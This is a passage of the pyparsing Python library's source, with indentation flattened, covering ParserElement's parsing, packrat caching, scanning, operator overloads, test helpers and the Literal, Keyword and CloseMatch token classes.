tokens = self.postParse( instring, loc, tokens )
retTokens = ParseResults( tokens, self.resultsName, asList=self.saveAsList, modal=self.modalResults )
if self.parseAction and (doActions or self.callDuringTry):
if debugging:
try:
for fn in self.parseAction:
tokens = fn( instring, tokensStart, retTokens )
if tokens is not None:
retTokens = ParseResults( tokens,
self.resultsName,
asList=self.saveAsList and isinstance(tokens,(ParseResults,list)),
modal=self.modalResults )
except ParseBaseException as err:
#~ print "Exception raised in user parse action:", err
if (self.debugActions[2] ):
self.debugActions[2]( instring, tokensStart, self, err )
raise
else:
for fn in self.parseAction:
tokens = fn( instring, tokensStart, retTokens )
if tokens is not None:
retTokens = ParseResults( tokens,
self.resultsName,
asList=self.saveAsList and isinstance(tokens,(ParseResults,list)),
modal=self.modalResults )
if debugging:
#~ print ("Matched",self,"->",retTokens.asList())
if (self.debugActions[1] ):
self.debugActions[1]( instring, tokensStart, loc, self, retTokens )
return loc, retTokens
def tryParse( self, instring, loc ):
try:
return self._parse( instring, loc, doActions=False )[0]
except ParseFatalException:
raise ParseException( instring, loc, self.errmsg, self)
def canParseNext(self, instring, loc):
try:
self.tryParse(instring, loc)
except (ParseException, IndexError):
return False
else:
return True
class _UnboundedCache(object):
def __init__(self):
cache = {}
self.not_in_cache = not_in_cache = object()
def get(self, key):
return cache.get(key, not_in_cache)
def set(self, key, value):
cache[key] = value
def clear(self):
cache.clear()
self.get = types.MethodType(get, self)
self.set = types.MethodType(set, self)
self.clear = types.MethodType(clear, self)
if _OrderedDict is not None:
class _FifoCache(object):
def __init__(self, size):
self.not_in_cache = not_in_cache = object()
cache = _OrderedDict()
def get(self, key):
return cache.get(key, not_in_cache)
def set(self, key, value):
cache[key] = value
if len(cache) > size:
cache.popitem(False)
def clear(self):
cache.clear()
self.get = types.MethodType(get, self)
self.set = types.MethodType(set, self)
self.clear = types.MethodType(clear, self)
else:
class _FifoCache(object):
def __init__(self, size):
self.not_in_cache = not_in_cache = object()
cache = {}
key_fifo = collections.deque([], size)
def get(self, key):
return cache.get(key, not_in_cache)
def set(self, key, value):
cache[key] = value
if len(cache) > size:
cache.pop(key_fifo.popleft(), None)
key_fifo.append(key)
def clear(self):
cache.clear()
key_fifo.clear()
self.get = types.MethodType(get, self)
self.set = types.MethodType(set, self)
self.clear = types.MethodType(clear, self)
# argument cache for optimizing repeated calls when backtracking through recursive expressions
packrat_cache = {} # this is set later by enabledPackrat(); this is here so that resetCache() doesn't fail
packrat_cache_lock = RLock()
packrat_cache_stats = [0, 0]
# this method gets repeatedly called during backtracking with the same arguments -
# we can cache these arguments and save ourselves the trouble of re-parsing the contained expression
def _parseCache( self, instring, loc, doActions=True, callPreParse=True ):
HIT, MISS = 0, 1
lookup = (self, instring, loc, callPreParse, doActions)
with ParserElement.packrat_cache_lock:
cache = ParserElement.packrat_cache
value = cache.get(lookup)
if value is cache.not_in_cache:
ParserElement.packrat_cache_stats[MISS] += 1
try:
value = self._parseNoCache(instring, loc, doActions, callPreParse)
except ParseBaseException as pe:
# cache a copy of the exception, without the traceback
cache.set(lookup, pe.__class__(*pe.args))
raise
else:
cache.set(lookup, (value[0], value[1].copy()))
return value
else:
ParserElement.packrat_cache_stats[HIT] += 1
if isinstance(value, Exception):
raise value
return (value[0], value[1].copy())
_parse = _parseNoCache
@staticmethod
def resetCache():
ParserElement.packrat_cache.clear()
ParserElement.packrat_cache_stats[:] = [0] * len(ParserElement.packrat_cache_stats)
_packratEnabled = False
@staticmethod
def enablePackrat(cache_size_limit=128):
"""Enables "packrat" parsing, which adds memoizing to the parsing logic.
Repeated parse attempts at the same string location (which happens
often in many complex grammars) can immediately return a cached value,
instead of re-executing parsing/validating code. Memoizing is done of
both valid results and parsing exceptions.
Parameters:
- cache_size_limit - (default=C{128}) - if an integer value is provided
will limit the size of the packrat cache; if None is passed, then
the cache size will be unbounded; if 0 is passed, the cache will
be effectively disabled.
This speedup may break existing programs that use parse actions that
have side-effects. For this reason, packrat parsing is disabled when
you first import pyparsing. To activate the packrat feature, your
program must call the class method C{ParserElement.enablePackrat()}. If
your program uses C{psyco} to "compile as you go", you must call
C{enablePackrat} before calling C{psyco.full()}. If you do not do this,
Python will crash. For best results, call C{enablePackrat()} immediately
after importing pyparsing.
Example::
import pyparsing
pyparsing.ParserElement.enablePackrat()
"""
if not ParserElement._packratEnabled:
ParserElement._packratEnabled = True
if cache_size_limit is None:
ParserElement.packrat_cache = ParserElement._UnboundedCache()
else:
ParserElement.packrat_cache = ParserElement._FifoCache(cache_size_limit)
ParserElement._parse = ParserElement._parseCache
def parseString( self, instring, parseAll=False ):
"""
Execute the parse expression with the given string.
This is the main interface to the client code, once the complete
expression has been built.
If you want the grammar to require that the entire input string be
successfully parsed, then set C{parseAll} to True (equivalent to ending
the grammar with C{L{StringEnd()}}).
Note: C{parseString} implicitly calls C{expandtabs()} on the input string,
in order to report proper column numbers in parse actions.
If the input string contains tabs and
the grammar uses parse actions that use the C{loc} argument to index into the
string being parsed, you can ensure you have a consistent view of the input
string by:
- calling C{parseWithTabs} on your grammar before calling C{parseString}
(see L{I{parseWithTabs}<parseWithTabs>})
- define your parse action using the full C{(s,loc,toks)} signature, and
reference the input string using the parse action's C{s} argument
- explictly expand the tabs in your input string before calling
C{parseString}
Example::
Word('a').parseString('aaaaabaaa') # -> ['aaaaa']
Word('a').parseString('aaaaabaaa', parseAll=True) # -> Exception: Expected end of text
"""
ParserElement.resetCache()
if not self.streamlined:
self.streamline()
#~ self.saveAsList = True
for e in self.ignoreExprs:
e.streamline()
if not self.keepTabs:
instring = instring.expandtabs()
try:
loc, tokens = self._parse( instring, 0 )
if parseAll:
loc = self.preParse( instring, loc )
se = Empty() + StringEnd()
se._parse( instring, loc )
except ParseBaseException as exc:
if ParserElement.verbose_stacktrace:
raise
else:
# catch and re-raise exception from here, clears out pyparsing internal stack trace
raise exc
else:
return tokens
def scanString( self, instring, maxMatches=_MAX_INT, overlap=False ):
"""
Scan the input string for expression matches. Each match will return the
matching tokens, start location, and end location. May be called with optional
C{maxMatches} argument, to clip scanning after 'n' matches are found. If
C{overlap} is specified, then overlapping matches will be reported.
Note that the start and end locations are reported relative to the string
being parsed. See L{I{parseString}<parseString>} for more information on parsing
strings with embedded tabs.
Example::
source = "sldjf123lsdjjkf345sldkjf879lkjsfd987"
print(source)
for tokens,start,end in Word(alphas).scanString(source):
print(' '*start + '^'*(end-start))
print(' '*start + tokens[0])
prints::
sldjf123lsdjjkf345sldkjf879lkjsfd987
^^^^^
sldjf
^^^^^^^
lsdjjkf
^^^^^^
sldkjf
^^^^^^
lkjsfd
"""
if not self.streamlined:
self.streamline()
for e in self.ignoreExprs:
e.streamline()
if not self.keepTabs:
instring = _ustr(instring).expandtabs()
instrlen = len(instring)
loc = 0
preparseFn = self.preParse
parseFn = self._parse
ParserElement.resetCache()
matches = 0
try:
while loc <= instrlen and matches < maxMatches:
try:
preloc = preparseFn( instring, loc )
nextLoc,tokens = parseFn( instring, preloc, callPreParse=False )
except ParseException:
loc = preloc+1
else:
if nextLoc > loc:
matches += 1
yield tokens, preloc, nextLoc
if overlap:
nextloc = preparseFn( instring, loc )
if nextloc > loc:
loc = nextLoc
else:
loc += 1
else:
loc = nextLoc
else:
loc = preloc+1
except ParseBaseException as exc:
if ParserElement.verbose_stacktrace:
raise
else:
# catch and re-raise exception from here, clears out pyparsing internal stack trace
raise exc
def transformString( self, instring ):
"""
Extension to C{L{scanString}}, to modify matching text with modified tokens that may
be returned from a parse action. To use C{transformString}, define a grammar and
attach a parse action to it that modifies the returned token list.
Invoking C{transformString()} on a target string will then scan for matches,
and replace the matched text patterns according to the logic in the parse
action. C{transformString()} returns the resulting transformed string.
Example::
wd = Word(alphas)
wd.setParseAction(lambda toks: toks[0].title())
print(wd.transformString("now is the winter of our discontent made glorious summer by this sun of york."))
Prints::
Now Is The Winter Of Our Discontent Made Glorious Summer By This Sun Of York.
"""
out = []
lastE = 0
# force preservation of <TAB>s, to minimize unwanted transformation of string, and to
# keep string locs straight between transformString and scanString
self.keepTabs = True
try:
for t,s,e in self.scanString( instring ):
out.append( instring[lastE:s] )
if t:
if isinstance(t,ParseResults):
out += t.asList()
elif isinstance(t,list):
out += t
else:
out.append(t)
lastE = e
out.append(instring[lastE:])
out = [o for o in out if o]
return "".join(map(_ustr,_flatten(out)))
except ParseBaseException as exc:
if ParserElement.verbose_stacktrace:
raise
else:
# catch and re-raise exception from here, clears out pyparsing internal stack trace
raise exc
def searchString( self, instring, maxMatches=_MAX_INT ):
"""
Another extension to C{L{scanString}}, simplifying the access to the tokens found
to match the given parse expression. May be called with optional
C{maxMatches} argument, to clip searching after 'n' matches are found.
Example::
# a capitalized word starts with an uppercase letter, followed by zero or more lowercase letters
cap_word = Word(alphas.upper(), alphas.lower())
print(cap_word.searchString("More than Iron, more than Lead, more than Gold I need Electricity"))
prints::
['More', 'Iron', 'Lead', 'Gold', 'I']
"""
try:
return ParseResults([ t for t,s,e in self.scanString( instring, maxMatches ) ])
except ParseBaseException as exc:
if ParserElement.verbose_stacktrace:
raise
else:
# catch and re-raise exception from here, clears out pyparsing internal stack trace
raise exc
def split(self, instring, maxsplit=_MAX_INT, includeSeparators=False):
"""
Generator method to split a string using the given expression as a separator.
May be called with optional C{maxsplit} argument, to limit the number of splits;
and the optional C{includeSeparators} argument (default=C{False}), if the separating
matching text should be included in the split results.
Example::
punc = oneOf(list(".,;:/-!?"))
print(list(punc.split("This, this?, this sentence, is badly punctuated!")))
prints::
['This', ' this', '', ' this sentence', ' is badly punctuated', '']
"""
splits = 0
last = 0
for t,s,e in self.scanString(instring, maxMatches=maxsplit):
yield instring[last:s]
if includeSeparators:
yield t[0]
last = e
yield instring[last:]
def __add__(self, other ):
"""
Implementation of + operator - returns C{L{And}}. Adding strings to a ParserElement
converts them to L{Literal}s by default.
Example::
greet = Word(alphas) + "," + Word(alphas) + "!"
hello = "Hello, World!"
print (hello, "->", greet.parseString(hello))
Prints::
Hello, World! -> ['Hello', ',', 'World', '!']
"""
if isinstance( other, basestring ):
other = ParserElement._literalStringClass( other )
if not isinstance( other, ParserElement ):
warnings.warn("Cannot combine element of type %s with ParserElement" % type(other),
SyntaxWarning, stacklevel=2)
return None
return And( [ self, other ] )
def __radd__(self, other ):
"""
Implementation of + operator when left operand is not a C{L{ParserElement}}
"""
if isinstance( other, basestring ):
other = ParserElement._literalStringClass( other )
if not isinstance( other, ParserElement ):
warnings.warn("Cannot combine element of type %s with ParserElement" % type(other),
SyntaxWarning, stacklevel=2)
return None
return other + self
def __sub__(self, other):
"""
Implementation of - operator, returns C{L{And}} with error stop
"""
if isinstance( other, basestring ):
other = ParserElement._literalStringClass( other )
if not isinstance( other, ParserElement ):
warnings.warn("Cannot combine element of type %s with ParserElement" % type(other),
SyntaxWarning, stacklevel=2)
return None
return And( [ self, And._ErrorStop(), other ] )
def __rsub__(self, other ):
"""
Implementation of - operator when left operand is not a C{L{ParserElement}}
"""
if isinstance( other, basestring ):
other = ParserElement._literalStringClass( other )
if not isinstance( other, ParserElement ):
warnings.warn("Cannot combine element of type %s with ParserElement" % type(other),
SyntaxWarning, stacklevel=2)
return None
return other - self
def __mul__(self,other):
"""
Implementation of * operator, allows use of C{expr * 3} in place of
C{expr + expr + expr}. Expressions may also me multiplied by a 2-integer
tuple, similar to C{{min,max}} multipliers in regular expressions. Tuples
may also include C{None} as in:
- C{expr*(n,None)} or C{expr*(n,)} is equivalent
to C{expr*n + L{ZeroOrMore}(expr)}
(read as "at least n instances of C{expr}")
- C{expr*(None,n)} is equivalent to C{expr*(0,n)}
(read as "0 to n instances of C{expr}")
- C{expr*(None,None)} is equivalent to C{L{ZeroOrMore}(expr)}
- C{expr*(1,None)} is equivalent to C{L{OneOrMore}(expr)}
Note that C{expr*(None,n)} does not raise an exception if
more than n exprs exist in the input stream; that is,
C{expr*(None,n)} does not enforce a maximum number of expr
occurrences. If this behavior is desired, then write
C{expr*(None,n) + ~expr}
"""
if isinstance(other,int):
minElements, optElements = other,0
elif isinstance(other,tuple):
other = (other + (None, None))[:2]
if other[0] is None:
other = (0, other[1])
if isinstance(other[0],int) and other[1] is None:
if other[0] == 0:
return ZeroOrMore(self)
if other[0] == 1:
return OneOrMore(self)
else:
return self*other[0] + ZeroOrMore(self)
elif isinstance(other[0],int) and isinstance(other[1],int):
minElements, optElements = other
optElements -= minElements
else:
raise TypeError("cannot multiply 'ParserElement' and ('%s','%s') objects", type(other[0]),type(other[1]))
else:
raise TypeError("cannot multiply 'ParserElement' and '%s' objects", type(other))
if minElements < 0:
raise ValueError("cannot multiply ParserElement by negative value")
if optElements < 0:
raise ValueError("second tuple value must be greater or equal to first tuple value")
if minElements == optElements == 0:
raise ValueError("cannot multiply ParserElement by 0 or (0,0)")
if (optElements):
def makeOptionalList(n):
if n>1:
return Optional(self + makeOptionalList(n-1))
else:
return Optional(self)
if minElements:
if minElements == 1:
ret = self + makeOptionalList(optElements)
else:
ret = And([self]*minElements) + makeOptionalList(optElements)
else:
ret = makeOptionalList(optElements)
else:
if minElements == 1:
ret = self
else:
ret = And([self]*minElements)
return ret
def __rmul__(self, other):
return self.__mul__(other)
def __or__(self, other ):
"""
Implementation of | operator - returns C{L{MatchFirst}}
"""
if isinstance( other, basestring ):
other = ParserElement._literalStringClass( other )
if not isinstance( other, ParserElement ):
warnings.warn("Cannot combine element of type %s with ParserElement" % type(other),
SyntaxWarning, stacklevel=2)
return None
return MatchFirst( [ self, other ] )
def __ror__(self, other ):
"""
Implementation of | operator when left operand is not a C{L{ParserElement}}
"""
if isinstance( other, basestring ):
other = ParserElement._literalStringClass( other )
if not isinstance( other, ParserElement ):
warnings.warn("Cannot combine element of type %s with ParserElement" % type(other),
SyntaxWarning, stacklevel=2)
return None
return other | self
def __xor__(self, other ):
"""
Implementation of ^ operator - returns C{L{Or}}
"""
if isinstance( other, basestring ):
other = ParserElement._literalStringClass( other )
if not isinstance( other, ParserElement ):
warnings.warn("Cannot combine element of type %s with ParserElement" % type(other),
SyntaxWarning, stacklevel=2)
return None
return Or( [ self, other ] )
def __rxor__(self, other ):
"""
Implementation of ^ operator when left operand is not a C{L{ParserElement}}
"""
if isinstance( other, basestring ):
other = ParserElement._literalStringClass( other )
if not isinstance( other, ParserElement ):
warnings.warn("Cannot combine element of type %s with ParserElement" % type(other),
SyntaxWarning, stacklevel=2)
return None
return other ^ self
def __and__(self, other ):
"""
Implementation of & operator - returns C{L{Each}}
"""
if isinstance( other, basestring ):
other = ParserElement._literalStringClass( other )
if not isinstance( other, ParserElement ):
warnings.warn("Cannot combine element of type %s with ParserElement" % type(other),
SyntaxWarning, stacklevel=2)
return None
return Each( [ self, other ] )
def __rand__(self, other ):
"""
Implementation of & operator when left operand is not a C{L{ParserElement}}
"""
if isinstance( other, basestring ):
other = ParserElement._literalStringClass( other )
if not isinstance( other, ParserElement ):
warnings.warn("Cannot combine element of type %s with ParserElement" % type(other),
SyntaxWarning, stacklevel=2)
return None
return other & self
def __invert__( self ):
"""
Implementation of ~ operator - returns C{L{NotAny}}
"""
return NotAny( self )
def __call__(self, name=None):
"""
Shortcut for C{L{setResultsName}}, with C{listAllMatches=False}.
If C{name} is given with a trailing C{'*'} character, then C{listAllMatches} will be
passed as C{True}.
If C{name} is omitted, same as calling C{L{copy}}.
Example::
# these are equivalent
userdata = Word(alphas).setResultsName("name") + Word(nums+"-").setResultsName("socsecno")
userdata = Word(alphas)("name") + Word(nums+"-")("socsecno")
"""
if name is not None:
return self.setResultsName(name)
else:
return self.copy()
def suppress( self ):
"""
Suppresses the output of this C{ParserElement}; useful to keep punctuation from
cluttering up returned output.
"""
return Suppress( self )
def leaveWhitespace( self ):
"""
Disables the skipping of whitespace before matching the characters in the
C{ParserElement}'s defined pattern. This is normally only used internally by
the pyparsing module, but may be needed in some whitespace-sensitive grammars.
"""
self.skipWhitespace = False
return self
def setWhitespaceChars( self, chars ):
"""
Overrides the default whitespace chars
"""
self.skipWhitespace = True
self.whiteChars = chars
self.copyDefaultWhiteChars = False
return self
def parseWithTabs( self ):
"""
Overrides default behavior to expand C{<TAB>}s to spaces before parsing the input string.
Must be called before C{parseString} when the input grammar contains elements that
match C{<TAB>} characters.
"""
self.keepTabs = True
return self
def ignore( self, other ):
"""
Define expression to be ignored (e.g., comments) while doing pattern
matching; may be called repeatedly, to define multiple comment or other
ignorable patterns.
Example::
patt = OneOrMore(Word(alphas))
patt.parseString('ablaj /* comment */ lskjd') # -> ['ablaj']
patt.ignore(cStyleComment)
patt.parseString('ablaj /* comment */ lskjd') # -> ['ablaj', 'lskjd']
"""
if isinstance(other, basestring):
other = Suppress(other)
if isinstance( other, Suppress ):
if other not in self.ignoreExprs:
self.ignoreExprs.append(other)
else:
self.ignoreExprs.append( Suppress( other.copy() ) )
return self
def setDebugActions( self, startAction, successAction, exceptionAction ):
"""
Enable display of debugging messages while doing pattern matching.
"""
self.debugActions = (startAction or _defaultStartDebugAction,
successAction or _defaultSuccessDebugAction,
exceptionAction or _defaultExceptionDebugAction)
self.debug = True
return self
def setDebug( self, flag=True ):
"""
Enable display of debugging messages while doing pattern matching.
Set C{flag} to True to enable, False to disable.
Example::
wd = Word(alphas).setName("alphaword")
integer = Word(nums).setName("numword")
term = wd | integer
# turn on debugging for wd
wd.setDebug()
OneOrMore(term).parseString("abc 123 xyz 890")
prints::
Match alphaword at loc 0(1,1)
Matched alphaword -> ['abc']
Match alphaword at loc 3(1,4)
Exception raised:Expected alphaword (at char 4), (line:1, col:5)
Match alphaword at loc 7(1,8)
Matched alphaword -> ['xyz']
Match alphaword at loc 11(1,12)
Exception raised:Expected alphaword (at char 12), (line:1, col:13)
Match alphaword at loc 15(1,16)
Exception raised:Expected alphaword (at char 15), (line:1, col:16)
The output shown is that produced by the default debug actions - custom debug actions can be
specified using L{setDebugActions}. Prior to attempting
to match the C{wd} expression, the debugging message C{"Match <exprname> at loc <n>(<line>,<col>)"}
is shown. Then if the parse succeeds, a C{"Matched"} message is shown, or an C{"Exception raised"}
message is shown. Also note the use of L{setName} to assign a human-readable name to the expression,
which makes debugging and exception messages easier to understand - for instance, the default
name created for the C{Word} expression without calling C{setName} is C{"W:(ABCD...)"}.
"""
if flag:
self.setDebugActions( _defaultStartDebugAction, _defaultSuccessDebugAction, _defaultExceptionDebugAction )
else:
self.debug = False
return self
def __str__( self ):
return self.name
def __repr__( self ):
return _ustr(self)
def streamline( self ):
self.streamlined = True
self.strRepr = None
return self
def checkRecursion( self, parseElementList ):
pass
def validate( self, validateTrace=[] ):
"""
Check defined expressions for valid structure, check for infinite recursive definitions.
"""
self.checkRecursion( [] )
def parseFile( self, file_or_filename, parseAll=False ):
"""
Execute the parse expression on the given file or filename.
If a filename is specified (instead of a file object),
the entire file is opened, read, and closed before parsing.
"""
try:
file_contents = file_or_filename.read()
except AttributeError:
with open(file_or_filename, "r") as f:
file_contents = f.read()
try:
return self.parseString(file_contents, parseAll)
except ParseBaseException as exc:
if ParserElement.verbose_stacktrace:
raise
else:
# catch and re-raise exception from here, clears out pyparsing internal stack trace
raise exc
def __eq__(self,other):
if isinstance(other, ParserElement):
return self is other or vars(self) == vars(other)
elif isinstance(other, basestring):
return self.matches(other)
else:
return super(ParserElement,self)==other
def __ne__(self,other):
return not (self == other)
def __hash__(self):
return hash(id(self))
def __req__(self,other):
return self == other
def __rne__(self,other):
return not (self == other)
def matches(self, testString, parseAll=True):
"""
Method for quick testing of a parser against a test string. Good for simple
inline microtests of sub expressions while building up larger parser.
Parameters:
- testString - to test against this expression for a match
- parseAll - (default=C{True}) - flag to pass to C{L{parseString}} when running tests
Example::
expr = Word(nums)
assert expr.matches("100")
"""
try:
self.parseString(_ustr(testString), parseAll=parseAll)
return True
except ParseBaseException:
return False
def runTests(self, tests, parseAll=True, comment='#', fullDump=True, printResults=True, failureTests=False):
"""
Execute the parse expression on a series of test strings, showing each
test, the parsed results or where the parse failed. Quick and easy way to
run a parse expression against a list of sample strings.
Parameters:
- tests - a list of separate test strings, or a multiline string of test strings
- parseAll - (default=C{True}) - flag to pass to C{L{parseString}} when running tests
- comment - (default=C{'#'}) - expression for indicating embedded comments in the test
string; pass None to disable comment filtering
- fullDump - (default=C{True}) - dump results as list followed by results names in nested outline;
if False, only dump nested list
- printResults - (default=C{True}) prints test output to stdout
- failureTests - (default=C{False}) indicates if these tests are expected to fail parsing
Returns: a (success, results) tuple, where success indicates that all tests succeeded
(or failed if C{failureTests} is True), and the results contain a list of lines of each
test's output
Example::
number_expr = pyparsing_common.number.copy()
result = number_expr.runTests('''
# unsigned integer
100
# negative integer
-100
# float with scientific notation
6.02e23
# integer with scientific notation
1e-12
''')
print("Success" if result[0] else "Failed!")
result = number_expr.runTests('''
# stray character
100Z
# missing leading digit before '.'
-.100
# too many '.'
3.14.159
''', failureTests=True)
print("Success" if result[0] else "Failed!")
prints::
# unsigned integer
100
[100]
# negative integer
-100
[-100]
# float with scientific notation
6.02e23
[6.02e+23]
# integer with scientific notation
1e-12
[1e-12]
Success
# stray character
100Z
^
FAIL: Expected end of text (at char 3), (line:1, col:4)
# missing leading digit before '.'
-.100
^
FAIL: Expected {real number with scientific notation | real number | signed integer} (at char 0), (line:1, col:1)
# too many '.'
3.14.159
^
FAIL: Expected end of text (at char 4), (line:1, col:5)
Success
Each test string must be on a single line. If you want to test a string that spans multiple
lines, create a test like this::
expr.runTest(r"this is a test\\n of strings that spans \\n 3 lines")
(Note that this is a raw string literal, you must include the leading 'r'.)
"""
if isinstance(tests, basestring):
tests = list(map(str.strip, tests.rstrip().splitlines()))
if isinstance(comment, basestring):
comment = Literal(comment)
allResults = []
comments = []
success = True
for t in tests:
if comment is not None and comment.matches(t, False) or comments and not t:
comments.append(t)
continue
if not t:
continue
out = ['\n'.join(comments), t]
comments = []
try:
t = t.replace(r'\n','\n')
result = self.parseString(t, parseAll=parseAll)
out.append(result.dump(full=fullDump))
success = success and not failureTests
except ParseBaseException as pe:
fatal = "(FATAL)" if isinstance(pe, ParseFatalException) else ""
if '\n' in t:
out.append(line(pe.loc, t))
out.append(' '*(col(pe.loc,t)-1) + '^' + fatal)
else:
out.append(' '*pe.loc + '^' + fatal)
out.append("FAIL: " + str(pe))
success = success and failureTests
result = pe
except Exception as exc:
out.append("FAIL-EXCEPTION: " + str(exc))
success = success and failureTests
result = exc
if printResults:
if fullDump:
out.append('')
print('\n'.join(out))
allResults.append((t, result))
return success, allResults
class Token(ParserElement):
"""
Abstract C{ParserElement} subclass, for defining atomic matching patterns.
"""
def __init__( self ):
super(Token,self).__init__( savelist=False )
class Empty(Token):
"""
An empty token, will always match.
"""
def __init__( self ):
super(Empty,self).__init__()
self.name = "Empty"
self.mayReturnEmpty = True
self.mayIndexError = False
class NoMatch(Token):
"""
A token that will never match.
"""
def __init__( self ):
super(NoMatch,self).__init__()
self.name = "NoMatch"
self.mayReturnEmpty = True
self.mayIndexError = False
self.errmsg = "Unmatchable token"
def parseImpl( self, instring, loc, doActions=True ):
raise ParseException(instring, loc, self.errmsg, self)
class Literal(Token):
"""
Token to exactly match a specified string.
Example::
Literal('blah').parseString('blah') # -> ['blah']
Literal('blah').parseString('blahfooblah') # -> ['blah']
Literal('blah').parseString('bla') # -> Exception: Expected "blah"
For case-insensitive matching, use L{CaselessLiteral}.
For keyword matching (force word break before and after the matched string),
use L{Keyword} or L{CaselessKeyword}.
"""
def __init__( self, matchString ):
super(Literal,self).__init__()
self.match = matchString
self.matchLen = len(matchString)
try:
self.firstMatchChar = matchString[0]
except IndexError:
warnings.warn("null string passed to Literal; use Empty() instead",
SyntaxWarning, stacklevel=2)
self.__class__ = Empty
self.name = '"%s"' % _ustr(self.match)
self.errmsg = "Expected " + self.name
self.mayReturnEmpty = False
self.mayIndexError = False
# Performance tuning: this routine gets called a *lot*
# if this is a single character match string and the first character matches,
# short-circuit as quickly as possible, and avoid calling startswith
#~ @profile
def parseImpl( self, instring, loc, doActions=True ):
if (instring[loc] == self.firstMatchChar and
(self.matchLen==1 or instring.startswith(self.match,loc)) ):
return loc+self.matchLen, self.match
raise ParseException(instring, loc, self.errmsg, self)
_L = Literal
ParserElement._literalStringClass = Literal
class Keyword(Token):
"""
Token to exactly match a specified string as a keyword, that is, it must be
immediately followed by a non-keyword character. Compare with C{L{Literal}}:
- C{Literal("if")} will match the leading C{'if'} in C{'ifAndOnlyIf'}.
- C{Keyword("if")} will not; it will only match the leading C{'if'} in C{'if x=1'}, or C{'if(y==2)'}
Accepts two optional constructor arguments in addition to the keyword string:
- C{identChars} is a string of characters that would be valid identifier characters,
defaulting to all alphanumerics + "_" and "$"
- C{caseless} allows case-insensitive matching, default is C{False}.
Example::
Keyword("start").parseString("start") # -> ['start']
Keyword("start").parseString("starting") # -> Exception
For case-insensitive matching, use L{CaselessKeyword}.
"""
DEFAULT_KEYWORD_CHARS = alphanums+"_$"
def __init__( self, matchString, identChars=None, caseless=False ):
super(Keyword,self).__init__()
if identChars is None:
identChars = Keyword.DEFAULT_KEYWORD_CHARS
self.match = matchString
self.matchLen = len(matchString)
try:
self.firstMatchChar = matchString[0]
except IndexError:
warnings.warn("null string passed to Keyword; use Empty() instead",
SyntaxWarning, stacklevel=2)
self.name = '"%s"' % self.match
self.errmsg = "Expected " + self.name
self.mayReturnEmpty = False
self.mayIndexError = False
self.caseless = caseless
if caseless:
self.caselessmatch = matchString.upper()
identChars = identChars.upper()
self.identChars = set(identChars)
def parseImpl( self, instring, loc, doActions=True ):
if self.caseless:
if ( (instring[ loc:loc+self.matchLen ].upper() == self.caselessmatch) and
(loc >= len(instring)-self.matchLen or instring[loc+self.matchLen].upper() not in self.identChars) and
(loc == 0 or instring[loc-1].upper() not in self.identChars) ):
return loc+self.matchLen, self.match
else:
if (instring[loc] == self.firstMatchChar and
(self.matchLen==1 or instring.startswith(self.match,loc)) and
(loc >= len(instring)-self.matchLen or instring[loc+self.matchLen] not in self.identChars) and
(loc == 0 or instring[loc-1] not in self.identChars) ):
return loc+self.matchLen, self.match
raise ParseException(instring, loc, self.errmsg, self)
def copy(self):
c = super(Keyword,self).copy()
c.identChars = Keyword.DEFAULT_KEYWORD_CHARS
return c
@staticmethod
def setDefaultKeywordChars( chars ):
"""Overrides the default Keyword chars
"""
Keyword.DEFAULT_KEYWORD_CHARS = chars
class CaselessLiteral(Literal):
"""
Token to match a specified string, ignoring case of letters.
Note: the matched results will always be in the case of the given
match string, NOT the case of the input text.
Example::
OneOrMore(CaselessLiteral("CMD")).parseString("cmd CMD Cmd10") # -> ['CMD', 'CMD', 'CMD']
(Contrast with example for L{CaselessKeyword}.)
"""
def __init__( self, matchString ):
super(CaselessLiteral,self).__init__( matchString.upper() )
# Preserve the defining literal.
self.returnString = matchString
self.name = "'%s'" % self.returnString
self.errmsg = "Expected " + self.name
def parseImpl( self, instring, loc, doActions=True ):
if instring[ loc:loc+self.matchLen ].upper() == self.match:
return loc+self.matchLen, self.returnString
raise ParseException(instring, loc, self.errmsg, self)
class CaselessKeyword(Keyword):
"""
Caseless version of L{Keyword}.
Example::
OneOrMore(CaselessKeyword("CMD")).parseString("cmd CMD Cmd10") # -> ['CMD', 'CMD']
(Contrast with example for L{CaselessLiteral}.)
"""
def __init__( self, matchString, identChars=None ):
super(CaselessKeyword,self).__init__( matchString, identChars, caseless=True )
def parseImpl( self, instring, loc, doActions=True ):
if ( (instring[ loc:loc+self.matchLen ].upper() == self.caselessmatch) and
(loc >= len(instring)-self.matchLen or instring[loc+self.matchLen].upper() not in self.identChars) ):
return loc+self.matchLen, self.match
raise ParseException(instring, loc, self.errmsg, self)
class CloseMatch(Token):
"""
A variation on L{Literal} which matches "close" matches, that is,
strings with at most 'n' mismatching characters. C{CloseMatch} takes parameters:
- C{match_string} - string to be matched
- C{maxMismatches} - (C{default=1}) maximum number of mismatches allowed to count as a match
The results from a successful parse will contain the matched text from the input string and the following named results:
- C{mismatches} - a list of the positions within the match_string where mismatches were found
- C{original} - the original match_string used to compare against the input string
If C{mismatches} is an empty list, then the match was an exact match.
Example::
patt = CloseMatch("ATCATCGAATGGA")
patt.parseString("ATCATCGAAXGGA") # -> (['ATCATCGAAXGGA'], {'mismatches': [[9]], 'original': ['ATCATCGAATGGA']})
patt.parseString("ATCAXCGAAXGGA") # -> Exception: Expected 'ATCATCGAATGGA' (with up to 1 mismatches) (at char 0), (line:1, col:1)
# exact match
patt.parseString("ATCATCGAATGGA") # -> (['ATCATCGAATGGA'], {'mismatches': [[]], 'original': ['ATCATCGAATGGA']})
# close match allowing up to 2 mismatches
patt = CloseMatch("ATCATCGAATGGA", maxMismatches=2)
patt.parseString("ATCAXCGAAXGGA") # -> (['ATCAXCGAAXGGA'], {'mismatches': [[4, 9]], 'original': ['ATCATCGAATGGA']})
"""
def __init__(self, match_string, maxMismatches=1):
super(CloseMatch,self).__init__()
self.name = match_string
self.match_string = match_string
self.maxMismatches = maxMismatches
self.errmsg = "Expected %r (with up to %d mismatches)" % (self.match_string, self.maxMismatches)
self.mayIndexError = False
self.mayReturnEmpty = False
def parseImpl( self, instring, loc, doActions=True ):
start = loc
instrlen = len(instring)
maxloc = start + len(self.match_string)
if maxloc <= instrlen:
match_string = self.match_string
match_stringloc = 0
mismatches = []
maxMismatches = self.maxMismatches
for match_stringloc,s_m in enumerate(zip(instring[loc:maxloc], self.match_string)):
src,mat = s_m
if src != mat:
mismatches.append(match_stringloc)
if len(mismatches) > maxMismatches:
break
else:
loc = match_stringloc + 1
results = ParseResults([instring[start:loc]])
results['original'] = self.match_string
results['mismatches'] = mismatches
return loc, results
raise ParseException(instring, loc, self.errmsg, self)
class Word(Token):
"""
Token for matching words composed of allowed character sets.
Defined with string containing all allowed initial characters,
